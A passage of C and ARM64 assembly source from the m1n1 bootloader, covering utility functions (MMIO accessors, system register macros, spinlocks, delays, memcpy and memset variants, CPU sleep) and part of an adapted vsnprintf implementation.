printf("%08x ", read32(addr + off + i)); } printf("\n"); } } int snprintf(char *buffer, size_t size, const char *fmt, ...) { va_list args; int i; va_start(args, fmt); i = vsnprintf(buffer, size, fmt, args); va_end(args); return i; } int debug_printf(const char *fmt, ...) { va_list args; char buffer[512]; int i; va_start(args, fmt); i = vsnprintf(buffer, sizeof(buffer), fmt, args); va_end(args); iodev_console_write(buffer, min(i, (int)(sizeof(buffer) - 1))); return i; } void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function) { printf("Assertion failed: '%s' on %s:%d:%s\n", assertion, file, line, function); flush_and_reboot(); } void udelay(u32 d) { u64 delay = ((u64)d) * mrs(CNTFRQ_EL0) / 1000000; u64 val = mrs(CNTPCT_EL0); while ((mrs(CNTPCT_EL0) - val) < delay) ; sysop("isb"); } u64 ticks_to_msecs(u64 ticks) { // NOTE: only accurate if freq is even kHz return ticks / (mrs(CNTFRQ_EL0) / 1000); } u64 ticks_to_usecs(u64 ticks) { // NOTE: only accurate if freq is even MHz return ticks / (mrs(CNTFRQ_EL0) / 1000000); } u64 timeout_calculate(u32 usec) { u64 delay = ((u64)usec) * mrs(CNTFRQ_EL0) / 1000000; return mrs(CNTPCT_EL0) + delay; } bool timeout_expired(u64 timeout) { bool expired = mrs(CNTPCT_EL0) > timeout; sysop("isb"); return expired; } void flush_and_reboot(void) { iodev_console_flush(); reboot(); } void spin_init(spinlock_t *lock) { lock->lock = -1; lock->count = 0; } void spin_lock(spinlock_t *lock) { s64 tmp; s64 me = smp_id(); if (__atomic_load_n(&lock->lock, __ATOMIC_ACQUIRE) == me) { lock->count++; return; } __asm__ volatile("1:\n" "mov\t%0, -1\n" "2:\n" "\tcasa\t%0, %2, %1\n" "\tcmn\t%0, 1\n" "\tbeq\t3f\n" "\tldxr\t%0, %1\n" "\tcmn\t%0, 1\n" "\tbeq\t2b\n" "\twfe\n" "\tb\t1b\n" "3:" : "=&r"(tmp), "+m"(lock->lock) : "r"(me) : "cc", "memory"); assert(__atomic_load_n(&lock->lock, __ATOMIC_RELAXED) == me); lock->count++; } void spin_unlock(spinlock_t *lock) { s64 me = smp_id(); assert(__atomic_load_n(&lock->lock, __ATOMIC_RELAXED) == me); assert(lock->count > 0); if (!--lock->count) __atomic_store_n(&lock->lock, -1L, __ATOMIC_RELEASE); } bool is_heap(void *addr) { u64 p = (u64)addr; u64 top_of_kernel_data = (u64)cur_boot_args.top_of_kernel_data; u64 top_of_ram = cur_boot_args.mem_size + cur_boot_args.phys_base; return p > top_of_kernel_data && p < top_of_ram; } // TODO: update mapping? u64 top_of_memory_alloc(size_t size) { static bool guard_page_inserted = false; cur_boot_args.mem_size -= ALIGN_UP(size, SZ_16K); u64 ret = cur_boot_args.phys_base + cur_boot_args.mem_size; if (!guard_page_inserted) { cur_boot_args.mem_size -= SZ_16K; guard_page_inserted = true; } else { // If the guard page was already there, move it down and allocate // above it -- this is accomplished by simply shifting the allocated // region by one page up. ret += SZ_16K; } return ret; } m1n1-1.4.11/src/utils.h000066400000000000000000000324621453754430200144700ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef UTILS_H #define UTILS_H #include "types.h" #define printf(...) debug_printf(__VA_ARGS__) #ifdef DEBUG #define dprintf(...) debug_printf(__VA_ARGS__) #else #define dprintf(...) \ do { \ } while (0) #endif #define ARRAY_SIZE(s) (sizeof(s) / sizeof((s)[0])) #define ALIGN_UP(x, a) (((x) + ((a)-1)) & ~((a)-1)) #define ALIGN_DOWN(x, a) ((x) & ~((a)-1)) #define min(a, b) (((a) < (b)) ? (a) : (b)) #define max(a, b) (((a) > (b)) ? (a) : (b)) #define USEC_PER_SEC 1000000L static inline u64 read64(u64 addr) { u64 data; __asm__ volatile("ldr\t%0, [%1]" : "=r"(data) : "r"(addr) : "memory"); return data; } static inline void write64(u64 addr, u64 data) { __asm__ volatile("str\t%0, [%1]" : : "r"(data), "r"(addr) : "memory"); } static inline u64 set64(u64 addr, u64 set) { u64 data; __asm__ volatile("ldr\t%0, [%1]\n" "\torr\t%0, %0, %2\n" "\tstr\t%0, [%1]" : "=&r"(data) : "r"(addr), "r"(set) : "memory"); return data; } static inline u64 clear64(u64 addr, u64 clear) { u64 data; __asm__ volatile("ldr\t%0, [%1]\n" "\tbic\t%0, %0, %2\n" "\tstr\t%0, [%1]" : "=&r"(data) : "r"(addr), "r"(clear) : "memory"); return data; } static inline u64 mask64(u64 addr, u64 clear, u64 set) { u64 data; __asm__ volatile("ldr\t%0, [%1]\n" "\tbic\t%0, %0, %3\n" "\torr\t%0, %0, %2\n" "\tstr\t%0, [%1]" : "=&r"(data) : "r"(addr), "r"(set), "r"(clear) : "memory"); return data; } static inline u64 writeread64(u64 addr, u64 data) { write64(addr, data); return read64(addr); } static inline u32 read32(u64 addr) { u32 data; __asm__ volatile("ldr\t%w0, [%1]" : "=r"(data) : "r"(addr) : "memory"); return data; } static inline void write32(u64 addr, u32 data) { __asm__ volatile("str\t%w0, [%1]" : : "r"(data), "r"(addr) : "memory"); } static inline u32 writeread32(u64 addr, u32 data) { write32(addr, data); return read32(addr); } static inline u32 set32(u64 addr, u32 set) { u32 data; __asm__ volatile("ldr\t%w0, [%1]\n" "\torr\t%w0, %w0, %w2\n" "\tstr\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(set) : "memory"); return data; } static inline u32 clear32(u64 addr, u32 clear) { u32 data; __asm__ volatile("ldr\t%w0, [%1]\n" "\tbic\t%w0, %w0, %w2\n" "\tstr\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(clear) : "memory"); return data; } static inline u32 mask32(u64 addr, u32 clear, u32 set) { u32 data; __asm__ volatile("ldr\t%w0, [%1]\n" "\tbic\t%w0, %w0, %w3\n" "\torr\t%w0, %w0, %w2\n" "\tstr\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(set), "r"(clear) : "memory"); return data; } static inline u16 read16(u64 addr) { u32 data; __asm__ volatile("ldrh\t%w0, [%1]" : "=r"(data) : "r"(addr) : "memory"); return data; } static inline void write16(u64 addr, u16 data) { __asm__ volatile("strh\t%w0, [%1]" : : "r"(data), "r"(addr) : "memory"); } static inline u16 set16(u64 addr, u16 set) { u16 data; __asm__ volatile("ldrh\t%w0, [%1]\n" "\torr\t%w0, %w0, %w2\n" "\tstrh\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(set) : "memory" ); return data; } static inline u16 clear16(u64 addr, u16 clear) { u16 data; __asm__ volatile("ldrh\t%w0, [%1]\n" "\tbic\t%w0, %w0, %w2\n" "\tstrh\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(clear) : "memory"); return data; } static inline u16 mask16(u64 addr, u16 clear, u16 set) { u16 data; __asm__ volatile("ldrh\t%w0, [%1]\n" "\tbic\t%w0, %w0, %w3\n" "\torr\t%w0, %w0, %w2\n" "\tstrh\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(set), "r"(clear) : "memory"); return data; } static inline u16 writeread16(u64 addr, u16 data) { write16(addr, data); return read16(addr); } static inline u8 read8(u64 addr) { u32 data; __asm__ volatile("ldrb\t%w0, [%1]" : "=r"(data) : "r"(addr) : "memory"); return data; } static inline void write8(u64 addr, u8 data) { __asm__ volatile("strb\t%w0, [%1]" : : "r"(data), "r"(addr) : "memory"); } static inline u8 set8(u64 addr, u8 set) { u8 data; __asm__ volatile("ldrb\t%w0, [%1]\n" "\torr\t%w0, %w0, %w2\n" "\tstrb\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(set) : "memory"); return data; } static inline u8 clear8(u64 addr, u8 clear) { u8 data; __asm__ volatile("ldrb\t%w0, [%1]\n" "\tbic\t%w0, %w0, %w2\n" "\tstrb\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(clear) : "memory"); return data; } static inline u8 mask8(u64 addr, u8 clear, u8 set) { u8 data; __asm__ volatile("ldrb\t%w0, [%1]\n" "\tbic\t%w0, %w0, %w3\n" "\torr\t%w0, %w0, %w2\n" "\tstrb\t%w0, [%1]" : "=&r"(data) : "r"(addr), "r"(set), "r"(clear) : "memory"); return data; } static inline u8 writeread8(u64 addr, u8 data) { write8(addr, data); return read8(addr); } static inline void write64_lo_hi(u64 addr, u64 val) { write32(addr, val); write32(addr + 4, val >> 32); } #define _concat(a, _1, b, ...) a##b #define _sr_tkn_S(_0, _1, op0, op1, CRn, CRm, op2) s##op0##_##op1##_c##CRn##_c##CRm##_##op2 #define _sr_tkn(a) a #define sr_tkn(...) _concat(_sr_tkn, __VA_ARGS__, )(__VA_ARGS__) #define __mrs(reg) \ ({ \ u64 val; \ __asm__ volatile("mrs\t%0, " #reg : "=r"(val)); \ val; \ }) #define _mrs(reg) __mrs(reg) #define __msr(reg, val) \ ({ \ u64 __val = (u64)val; \ __asm__ volatile("msr\t" #reg ", %0" : : "r"(__val)); \ }) #define _msr(reg, val) __msr(reg, val) #define mrs(reg) _mrs(sr_tkn(reg)) #define msr(reg, val) _msr(sr_tkn(reg), val) #define msr_sync(reg, val) \ ({ \ _msr(sr_tkn(reg), val); \ sysop("isb"); \ }) #define reg_clr(reg, bits) _msr(sr_tkn(reg), _mrs(sr_tkn(reg)) & ~(bits)) #define reg_set(reg, bits) _msr(sr_tkn(reg), _mrs(sr_tkn(reg)) | bits) #define reg_mask(reg, clr, set) _msr(sr_tkn(reg), (_mrs(sr_tkn(reg)) & ~(clr)) | set) #define reg_clr_sync(reg, bits) \ ({ \ reg_clr(sr_tkn(reg), bits); \ sysop("isb"); \ }) #define reg_set_sync(reg, bits) \ ({ \ reg_set(sr_tkn(reg), bits); \ sysop("isb"); \ }) #define reg_mask_sync(reg, clr, set) \ ({ \ reg_mask(sr_tkn(reg), clr, set); \ sysop("isb"); \ }) #define sysop(op) __asm__ volatile(op ::: "memory") #define cacheop(op, val) ({ __asm__ volatile(op ", %0" : : "r"(val) : "memory"); }) #define ic_ialluis() sysop("ic ialluis") #define ic_iallu() sysop("ic iallu") #define ic_iavau(p) cacheop("ic ivau", p) #define dc_ivac(p) cacheop("dc ivac", p) #define dc_isw(p) cacheop("dc isw", p) #define dc_csw(p) cacheop("dc csw", p) #define dc_cisw(p) cacheop("dc cisw", p) #define dc_zva(p) cacheop("dc zva", p) #define dc_cvac(p) cacheop("dc cvac", p) #define dc_cvau(p) cacheop("dc cvau", p) #define dc_civac(p) cacheop("dc civac", p) #define dma_mb() sysop("dmb osh") #define dma_rmb() sysop("dmb oshld") #define dma_wmb() sysop("dmb oshst") static inline int is_ecore(void) { return !(mrs(MPIDR_EL1) & (1 << 16)); } static inline int in_el2(void) { return (mrs(CurrentEL) >> 2) == 2; } extern int boot_cpu_idx; extern u64 boot_cpu_mpidr; static inline int is_boot_cpu(void) { return boot_cpu_idx == -1 || boot_cpu_mpidr == mrs(MPIDR_EL1); } extern char _base[]; extern char _rodata_end[]; extern char _end[]; extern char _payload_start[]; extern char _payload_end[]; /* * These functions are guaranteed to copy by reading from src and writing to dst * in -bit units If size is not aligned, the remaining bytes are not copied */ void memcpy128(void *dst, void *src, size_t size); void memset64(void *dst, u64 value, size_t size); void memcpy64(void *dst, void *src, size_t size); void memset32(void *dst, u32 value, size_t size); void memcpy32(void *dst, void *src, size_t size); void memset16(void *dst, u16 value, size_t size); void memcpy16(void *dst, void *src, size_t size); void memset8(void *dst, u8 value, size_t size); void memcpy8(void *dst, void *src, size_t size); void get_simd_state(void *state); void put_simd_state(void *state); void hexdump(const void *d, size_t len); void regdump(u64 addr, size_t len); int snprintf(char *str, size_t size, const char *fmt, ...); int debug_printf(const char *fmt, ...) __attribute__((format(printf, 1, 2))); void udelay(u32 d); static inline u64 get_ticks(void) { return mrs(CNTPCT_EL0); } u64 ticks_to_msecs(u64 ticks); u64 ticks_to_usecs(u64 ticks); void reboot(void) __attribute__((noreturn)); void flush_and_reboot(void) __attribute__((noreturn)); u64 timeout_calculate(u32 usec); bool timeout_expired(u64 timeout); #define SPINLOCK_ALIGN 64 typedef struct { s64 lock; int count; } spinlock_t ALIGNED(SPINLOCK_ALIGN); #define SPINLOCK_INIT \ { \ -1, 0 \ } #define DECLARE_SPINLOCK(n) spinlock_t n = SPINLOCK_INIT; void spin_init(spinlock_t *lock); void spin_lock(spinlock_t *lock); void spin_unlock(spinlock_t *lock); #define mdelay(m) udelay((m)*1000) #define panic(fmt, ...) \ do { \ debug_printf(fmt, ##__VA_ARGS__); \ flush_and_reboot(); \ } while (0) static inline int poll32(u64 addr, u32 mask, u32 target, u32 timeout) { while (--timeout > 0) { u32 value = read32(addr) & mask; if (value == target) return 0; udelay(1); } return -1; } typedef u64(generic_func)(u64, u64, u64, u64, u64); struct vector_args { generic_func *entry; u64 args[5]; bool restore_logo; }; extern u32 board_id, chip_id; extern struct vector_args next_stage; void cpu_sleep(bool deep) __attribute__((noreturn)); void deep_wfi(void); bool is_heap(void *addr); u64 top_of_memory_alloc(size_t size); #endif m1n1-1.4.11/src/utils_asm.S000066400000000000000000000102151453754430200152730ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" .text .globl memcpy128 .type memcpy128, @function memcpy128: ands x2, x2, #~15 beq 2f 1: ldp x3, x4, [x1], #16 stp x3, x4, [x0], #16 subs x2, x2, #16 bne 1b 2: ret .globl memcpy64 .type memcpy64, @function memcpy64: ands x2, x2, #~7 beq 2f 1: ldr x3, [x1], #8 str x3, [x0], #8 subs x2, x2, #8 bne 1b 2: ret .globl memset64 .type memset64, @function memset64: ands x2, x2, #~7 beq 2f 1: str x1, [x0], #8 subs x2, x2, #8 bne 1b 2: ret .globl memcpy32 .type memcpy32, @function memcpy32: ands x2, x2, #~3 beq 2f 1: ldr w3, [x1], #4 str w3, [x0], #4 subs x2, x2, #4 bne 1b 2: ret .globl memset32 .type memset32, @function memset32: ands x2, x2, #~3 beq 2f 1: str w1, [x0], #4 subs x2, x2, #4 bne 1b 2: ret .globl memcpy16 .type memcpy16, @function memcpy16: ands x2, x2, #~1 beq 2f 1: ldrh w3, [x1], #2 strh w3, [x0], #2 subs x2, x2, #2 bne 1b 2: ret .globl memset16 .type memset16, @function memset16: ands x2, x2, #~1 beq 2f 1: strh w1, [x0], #2 subs x2, x2, #2 bne 1b 2: ret .globl memcpy8 .type memcpy8, @function memcpy8: cmp x2, #0 beq 2f 1: ldrb w3, [x1], #1 strb w3, [x0], #1 subs x2, x2, #1 bne 1b 2: ret .globl memset8 .type memset8, @function memset8: cmp x2, #0 beq 2f 1: strb w1, [x0], #1 subs x2, x2, #1 bne 1b 2: ret .globl get_simd_state .type get_simd_state, @function get_simd_state: stp q0, q1, [x0], #32 stp q2, q3, [x0], #32 stp q4, q5, [x0], #32 stp q6, q7, [x0], #32 stp q8, q9, [x0], #32 stp q10, q11, [x0], #32 stp q12, q13, [x0], #32 stp q14, q15, [x0], #32 stp q16, q17, [x0], #32 stp q18, q19, [x0], #32 stp q20, q21, [x0], #32 stp q22, q23, [x0], #32 stp q24, q25, [x0], #32 stp q26, q27, [x0], #32 stp q28, q29, [x0], #32 stp q30, q31, [x0], #32 ret .globl put_simd_state .type put_simd_state, @function put_simd_state: ldp q0, q1, [x0], #32 ldp q2, q3, [x0], #32 ldp q4, q5, [x0], #32 ldp q6, q7, [x0], #32 ldp q8, q9, [x0], #32 ldp q10, q11, [x0], #32 ldp q12, q13, [x0], #32 ldp q14, q15, [x0], #32 ldp q16, q17, [x0], #32 ldp q18, q19, [x0], #32 ldp q20, q21, [x0], #32 ldp q22, q23, [x0], #32 ldp q24, q25, [x0], #32 ldp q26, q27, [x0], #32 ldp q28, q29, [x0], #32 ldp q30, q31, [x0], #32 ret .globl deep_wfi .type deep_wfi, @function deep_wfi: mrs x0, SYS_IMP_APL_CYC_OVRD orr x1, x0, #CYC_OVRD_WFI_MODE(3) msr SYS_IMP_APL_CYC_OVRD, x1 stp x30, x0, [sp, #-16]! stp x28, x29, [sp, #-16]! stp x26, x27, [sp, #-16]! stp x24, x25, [sp, #-16]! stp x22, x23, [sp, #-16]! stp x20, x21, [sp, #-16]! stp x18, x19, [sp, #-16]! wfi ldp x18, x19, [sp], #16 ldp x20, x21, [sp], #16 ldp x22, x23, [sp], #16 ldp x24, x25, [sp], #16 ldp x26, x27, [sp], #16 ldp x28, x29, [sp], #16 ldp x30, x0, [sp], #16 msr SYS_IMP_APL_CYC_OVRD, x0 ret .globl cpu_sleep .type cpu_sleep, @function cpu_sleep: cmp x0, #0 bne 1f mrs x1, SYS_IMP_APL_CYC_OVRD and x1, x1, #~CYC_OVRD_IRQ_MODE_MASK orr x1, x1, #CYC_OVRD_IRQ_MODE(2) and x1, x1, #~CYC_OVRD_FIQ_MODE_MASK orr x1, x1, #CYC_OVRD_FIQ_MODE(2) msr SYS_IMP_APL_CYC_OVRD, x1 1: cmp x0, #0 beq 2f mrs x1, SYS_IMP_APL_ACC_OVRD orr x1, x1, #ACC_OVRD_PWR_DN_SRM(3) and x1, x1, #~ACC_OVRD_DIS_L2_FLUSH_ACC_SLEEP_MASK orr x1, x1, #ACC_OVRD_DIS_L2_FLUSH_ACC_SLEEP(2) orr x1, x1, #ACC_OVRD_TRAIN_DOWN_LINK(3) orr x1, x1, #ACC_OVRD_POWER_DOWN_CPM(3) orr x1, x1, #ACC_OVRD_DISABLE_PIO_ON_WFI_CPU orr x1, x1, #ACC_OVRD_DEEP_SLEEP msr SYS_IMP_APL_ACC_OVRD, x1 2: mrs x1, SYS_IMP_APL_CYC_OVRD orr x1, x1, #CYC_OVRD_WFI_MODE(3) orr x1, x1, #CYC_OVRD_DISABLE_WFI_RET msr SYS_IMP_APL_CYC_OVRD, x1 3: isb wfi b 3b m1n1-1.4.11/src/vsprintf.c000066400000000000000000000650271453754430200152010ustar00rootroot00000000000000/* * Copyright (c) 1995 Patrick Powell. * * This code is based on code written by Patrick Powell . * It may be used for any purpose as long as this notice remains intact on all * source code distributions. */ /* * Copyright (c) 2008 Holger Weiss. * * This version of the code is maintained by Holger Weiss . * My changes to the code may freely be used, modified and/or redistributed for * any purpose. It would be nice if additions and fixes to this file (including * trivial code cleanups) would be sent back in order to let me include them in * the version available at . * However, this is not a requirement for using or redistributing (possibly * modified) versions of this file, nor is leaving this notice intact mandatory. */ /* * History * * 2009-03-05 Hector Martin "marcan" * * Hacked up and removed a lot of stuff including floating-point support, * a bunch of ifs and defines, locales, and tests * * 2008-01-20 Holger Weiss for C99-snprintf 1.1: * * Fixed the detection of infinite floating point values on IRIX (and * possibly other systems) and applied another few minor cleanups. * * 2008-01-06 Holger Weiss for C99-snprintf 1.0: * * Added a lot of new features, fixed many bugs, and incorporated various * improvements done by Andrew Tridgell , Russ Allbery * , Hrvoje Niksic , Damien Miller * , and others for the Samba, INN, Wget, and OpenSSH * projects. The additions include: support the "e", "E", "g", "G", and * "F" conversion specifiers (and use conversion style "f" or "F" for the * still unsupported "a" and "A" specifiers); support the "hh", "ll", "j", * "t", and "z" length modifiers; support the "#" flag and the (non-C99) * "'" flag; use localeconv(3) (if available) to get both the current * locale's decimal point character and the separator between groups of * digits; fix the handling of various corner cases of field width and * precision specifications; fix various floating point conversion bugs; * handle infinite and NaN floating point values; don't attempt to write to * the output buffer (which may be NULL) if a size of zero was specified; * check for integer overflow of the field width, precision, and return * values and during the floating point conversion; use the OUTCHAR() macro * instead of a function for better performance; provide asprintf(3) and * vasprintf(3) functions; add new test cases. The replacement functions * have been renamed to use an "rpl_" prefix, the function calls in the * main project (and in this file) must be redefined accordingly for each * replacement function which is needed (by using Autoconf or other means). * Various other minor improvements have been applied and the coding style * was cleaned up for consistency. * * 2007-07-23 Holger Weiss for Mutt 1.5.13: * * C99 compliant snprintf(3) and vsnprintf(3) functions return the number * of characters that would have been written to a sufficiently sized * buffer (excluding the '\0'). The original code simply returned the * length of the resulting output string, so that's been fixed. * * 1998-03-05 Michael Elkins for Mutt 0.90.8: * * The original code assumed that both snprintf(3) and vsnprintf(3) were * missing. Some systems only have snprintf(3) but not vsnprintf(3), so * the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF. * * 1998-01-27 Thomas Roessler for Mutt 0.89i: * * The PGP code was using unsigned hexadecimal formats. Unfortunately, * unsigned formats simply didn't work. * * 1997-10-22 Brandon Long for Mutt 0.87.1: * * Ok, added some minimal floating point support, which means this probably * requires libm on most operating systems. Don't yet support the exponent * (e,E) and sigfig (g,G). Also, fmtint() was pretty badly broken, it just * wasn't being exercised in ways which showed it, so that's been fixed. * Also, formatted the code to Mutt conventions, and removed dead code left * over from the original. Also, there is now a builtin-test, run with: * gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm && ./snprintf * * 2996-09-15 Brandon Long for Mutt 0.43: * * This was ugly. It is still ugly. I opted out of floating point * numbers, but the formatter understands just about everything from the * normal C string format, at least as far as I can tell from the Solaris * 2.5 printf(3S) man page. */ #include #include "types.h" #define VA_START(ap, last) va_start(ap, last) #define VA_SHIFT(ap, value, type) /* No-op for ANSI C. */ #define ULLONG unsigned long long #define UINTMAX_T unsigned long #define LLONG long #define INTMAX_T long /* Support for uintptr_t. */ #ifndef UINTPTR_T #if HAVE_UINTPTR_T || defined(uintptr_t) #define UINTPTR_T uintptr_t #else #define UINTPTR_T unsigned long int #endif /* HAVE_UINTPTR_T || defined(uintptr_t) */ #endif /* !defined(UINTPTR_T) */ /* Support for ptrdiff_t. */ #ifndef PTRDIFF_T #if HAVE_PTRDIFF_T || defined(ptrdiff_t) #define PTRDIFF_T ptrdiff_t #else #define PTRDIFF_T long int #endif /* HAVE_PTRDIFF_T || defined(ptrdiff_t) */ #endif /* !defined(PTRDIFF_T) */ /* * We need an unsigned integer type corresponding to ptrdiff_t (cf. C99: * 7.19.6.1, 7). However, we'll simply use PTRDIFF_T and convert it to an * unsigned type if necessary. This should work just fine in practice. */ #ifndef UPTRDIFF_T #define UPTRDIFF_T PTRDIFF_T #endif /* !defined(UPTRDIFF_T) */ /* * We need a signed integer type corresponding to size_t (cf. C99: 7.19.6.1, 7). * However, we'll simply use size_t and convert it to a signed type if * necessary. This should work just fine in practice. */ #ifndef SSIZE_T #define SSIZE_T size_t #endif /* !defined(SSIZE_T) */ /* * Buffer size to hold the octal string representation of UINT128_MAX without * nul-termination ("3777777777777777777777777777777777777777777"). */ #ifdef MAX_CONVERT_LENGTH #undef MAX_CONVERT_LENGTH #endif /* defined(MAX_CONVERT_LENGTH) */ #define MAX_CONVERT_LENGTH 43 /* Format read states. */ #define PRINT_S_DEFAULT 0 #define PRINT_S_FLAGS 1 #define PRINT_S_WIDTH 2 #define PRINT_S_DOT 3 #define PRINT_S_PRECISION 4 #define PRINT_S_MOD 5 #define PRINT_S_CONV 6 /* Format flags. */ #define PRINT_F_MINUS (1 << 0) #define PRINT_F_PLUS (1 << 1) #define PRINT_F_SPACE (1 << 2) #define PRINT_F_NUM (1 << 3) #define PRINT_F_ZERO (1 << 4) #define PRINT_F_QUOTE (1 << 5) #define PRINT_F_UP (1 << 6) #define PRINT_F_UNSIGNED (1 << 7) #define PRINT_F_TYPE_G (1 << 8) #define PRINT_F_TYPE_E (1 << 9) /* Conversion flags. */ #define PRINT_C_CHAR 1 #define PRINT_C_SHORT 2 #define PRINT_C_LONG 3 #define PRINT_C_LLONG 4 // #define PRINT_C_LDOUBLE 5 #define PRINT_C_SIZE 6 #define PRINT_C_PTRDIFF 7 #define PRINT_C_INTMAX 8 #ifndef MAX #define MAX(x, y) ((x >= y) ? x : y) #endif /* !defined(MAX) */ #ifndef CHARTOINT #define CHARTOINT(ch) (ch - '0') #endif /* !defined(CHARTOINT) */ #ifndef ISDIGIT #define ISDIGIT(ch) ('0' <= (unsigned char)ch && (unsigned char)ch <= '9') #endif /* !defined(ISDIGIT) */ #define OUTCHAR(str, len, size, ch) \ do { \ if (len + 1 < size) \ str[len] = ch; \ (len)++; \ } while (/* CONSTCOND */ 0) static void fmtstr(char *, size_t *, size_t, const char *, int, int, int); static void fmtint(char *, size_t *, size_t, INTMAX_T, int, int, int, int); static void printsep(char *, size_t *, size_t); static int getnumsep(int); static int convert(UINTMAX_T, char *, size_t, int, int); int vsnprintf(char *str, size_t size, const char *format, va_list args) { INTMAX_T value; unsigned char cvalue; const char *strvalue; INTMAX_T *intmaxptr; PTRDIFF_T *ptrdiffptr; SSIZE_T *sizeptr; LLONG *llongptr; long int *longptr; int *intptr; short int *shortptr; signed char *charptr; size_t len = 0; int overflow = 0; int base = 0; int cflags = 0; int flags = 0; int width = 0; int precision = -1; int state = PRINT_S_DEFAULT; char ch = *format++; /* * C99 says: "If `n' is zero, nothing is written, and `s' may be a null * pointer." (7.19.6.5, 2) We're forgiving and allow a NULL pointer * even if a size larger than zero was specified. At least NetBSD's * snprintf(3) does the same, as well as other versions of this file. * (Though some of these versions will write to a non-NULL buffer even * if a size of zero was specified, which violates the standard.) */ if (str == NULL && size != 0) size = 0; while (ch != '\0') switch (state) { case PRINT_S_DEFAULT: if (ch == '%') state = PRINT_S_FLAGS; else OUTCHAR(str, len, size, ch); ch = *format++; break; case PRINT_S_FLAGS: switch (ch) { case '-': flags |= PRINT_F_MINUS; ch = *format++; break; case '+': flags |= PRINT_F_PLUS; ch = *format++; break; case ' ': flags |= PRINT_F_SPACE; ch = *format++; break; case '#': flags |= PRINT_F_NUM; ch = *format++; break; case '0': flags |= PRINT_F_ZERO; ch = *format++; break; case '\'': /* SUSv2 flag (not in C99). */ flags |= PRINT_F_QUOTE; ch = *format++; break; default: state = PRINT_S_WIDTH; break; } break; case PRINT_S_WIDTH: if (ISDIGIT(ch)) { ch = CHARTOINT(ch); if (width > (INT_MAX - ch) / 10) { overflow = 1; goto out; } width = 10 * width + ch; ch = *format++; } else if (ch == '*') { /* * C99 says: "A negative field width argument is * taken as a `-' flag followed by a positive * field width." (7.19.6.1, 5) */ if ((width = va_arg(args, int)) < 0) { flags |= PRINT_F_MINUS; width = -width; } ch = *format++; state = PRINT_S_DOT; } else state = PRINT_S_DOT; break; case PRINT_S_DOT: if (ch == '.') { state = PRINT_S_PRECISION; ch = *format++; } else state = PRINT_S_MOD; break; case PRINT_S_PRECISION: if (precision == -1) precision = 0; if (ISDIGIT(ch)) { ch = CHARTOINT(ch); if (precision > (INT_MAX - ch) / 10) { overflow = 1; goto out; } precision = 10 * precision + ch; ch = *format++; } else if (ch == '*') { /* * C99 says: "A negative precision argument is * taken as if the precision were omitted." * (7.19.6.1, 5) */ if ((precision = va_arg(args, int)) < 0) precision = -1; ch = *format++; state = PRINT_S_MOD; } else state = PRINT_S_MOD; break; case PRINT_S_MOD: switch (ch) { case 'h': ch = *format++; if (ch == 'h') { /* It's a char. */ ch = *format++; cflags = PRINT_C_CHAR; } else cflags = PRINT_C_SHORT; break; case 'l': ch = *format++; if (ch == 'l') { /* It's a long long. */ ch = *format++; cflags = PRINT_C_LLONG; } else cflags = PRINT_C_LONG; break; case 'j': cflags = PRINT_C_INTMAX; ch = *format++; break; case 't': cflags = PRINT_C_PTRDIFF; ch = *format++; break; case 'z': cflags = PRINT_C_SIZE; ch = *format++; break; } state = PRINT_S_CONV; break; case PRINT_S_CONV: switch (ch) { case 'd': /* FALLTHROUGH */ case 'i': switch (cflags) { case PRINT_C_CHAR: value = (signed char)va_arg(args, int); break; case PRINT_C_SHORT: value = (short int)va_arg(args, int); break; case PRINT_C_LONG: value = va_arg(args, long int); break; case PRINT_C_LLONG: value = va_arg(args, LLONG); break; case PRINT_C_SIZE: value = va_arg(args, SSIZE_T); break; case PRINT_C_INTMAX: value = va_arg(args, INTMAX_T); break; case PRINT_C_PTRDIFF: value = va_arg(args, PTRDIFF_T); break; default: value = va_arg(args, int); break; } fmtint(str, &len, size, value, 10, width, precision, flags); break; case 'X': flags |= PRINT_F_UP; /* FALLTHROUGH */ case 'x': base = 16; /* FALLTHROUGH */ case 'o': if (base == 0) base = 8; /* FALLTHROUGH */ case 'u': if (base == 0) base = 10; flags |= PRINT_F_UNSIGNED; switch (cflags) { case PRINT_C_CHAR: value = (unsigned char)va_arg(args, unsigned int); break; case PRINT_C_SHORT: value = (unsigned short int)va_arg(args, unsigned int); break; case PRINT_C_LONG: value = va_arg(args, unsigned long int); break; case PRINT_C_LLONG: value = va_arg(args, ULLONG); break; case PRINT_C_SIZE: value = va_arg(args, size_t); break; case PRINT_C_INTMAX: value = va_arg(args, UINTMAX_T); break; case PRINT_C_PTRDIFF: value = va_arg(args, UPTRDIFF_T); break; default: value = va_arg(args, unsigned int); break; } fmtint(str, &len, size, value, base, width, precision, flags); break; case 'c': cvalue = va_arg(args, int); OUTCHAR(str, len, size, cvalue); break; case 's': strvalue = va_arg(args, char *); fmtstr(str, &len, size, strvalue, width, precision, flags); break; case 'p': /* * C99 says: "The value of the pointer is * converted to a sequence of printing * characters, in an implementation-defined * manner." (C99: 7.19.6.1, 8) */ if ((strvalue = va_arg(args, void *)) == NULL) /* * We use the glibc format. BSD prints * "0x0", SysV "0". */ fmtstr(str, &len, size, "(nil)", width, -1, flags); else { /* * We use the BSD/glibc format. SysV * omits the "0x" prefix (which we emit * using the PRINT_F_NUM flag). */ flags |= PRINT_F_NUM; flags |= PRINT_F_UNSIGNED; fmtint(str, &len, size, (UINTPTR_T)strvalue, 16, width, precision, flags); } break; case 'n': switch (cflags) { case PRINT_C_CHAR: charptr = va_arg(args, signed char *); *charptr = len; break; case PRINT_C_SHORT: shortptr = va_arg(args, short int *); *shortptr = len; break; case PRINT_C_LONG: longptr = va_arg(args, long int *); *longptr = len; break; case PRINT_C_LLONG: llongptr = va_arg(args, LLONG *); *llongptr = len; break; case PRINT_C_SIZE: /* * C99 says that with the "z" length * modifier, "a following `n' conversion * specifier applies to a pointer to a * signed integer type corresponding to * size_t argument." (7.19.6.1, 7) 